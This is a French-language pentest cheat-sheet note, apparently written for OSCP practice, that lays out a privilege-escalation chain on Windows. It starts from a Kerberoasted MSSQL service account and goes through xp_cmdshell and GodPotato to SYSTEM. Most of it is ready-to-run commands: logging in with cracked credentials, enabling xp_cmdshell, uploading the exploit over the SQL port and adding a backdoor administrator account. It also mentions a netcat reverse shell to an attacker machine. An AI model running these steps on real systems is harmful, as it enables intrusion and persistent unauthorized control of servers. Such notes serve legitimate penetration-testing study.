Whackermelon
notes / elevation-de-privileges / elevation-de-privileges-windows / mssql-sysadmin-xp-cmdshell-system-godpotato

MSSQL sysadmin → xp_cmdshell → SYSTEM (GodPotato)

sommaire

Chaîne complète

1) Connexion avec le compte de service cracké (Kerberoast)

impacket-mssqlclient oscp.exam/sql_svc:Password123@<IP> -windows-auth

2) Vérifier le rôle sysadmin

SELECT IS_SRVROLEMEMBER('sysadmin');   -- 1 = sysadmin

3) Activer l’exécution de commandes

enable_xp_cmdshell            -- macro intégrée à impacket-mssqlclient
xp_cmdshell whoami            -- exécution OS

Équivalent SQL pur :

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';

4) ⚠ Sous quel compte tourne xp_cmdshell ?

Souvent nt service\mssql$<instance> (compte VIRTUEL) et non le compte de domaine : sur le réseau il s’authentifie comme compte MACHINE (SQL01$), pas comme sql_svc → les copies depuis un partage restreint aux ‘Domain Users’ échouent (Access denied).

5) SeImpersonatePrivilege → GodPotato

xp_cmdshell C:\Users\Public\gp.exe -cmd "cmd /c net user piv Passw0rd123! /add && net localgroup Administrators piv /add"

PrintSpoofer marche aussi (nc64.exe -e powershell vers Kali via listener ligolo).

6) Transfert de fichier quand la cible ne joint PAS Kali

nxc mssql <IP> -u sql_svc -p 'Password123' -d oscp.exam --put-file GodPotato-NET4.exe 'C:\Users\Public\gp.exe'

Le fichier transite dans le flux SQL (port 1433) : aucun partage SMB ni serveur HTTP à portée de la cible n’est nécessaire. Alternative : héberger un HTTP sur la machine pivot (SRV01) et curl depuis la cible interne.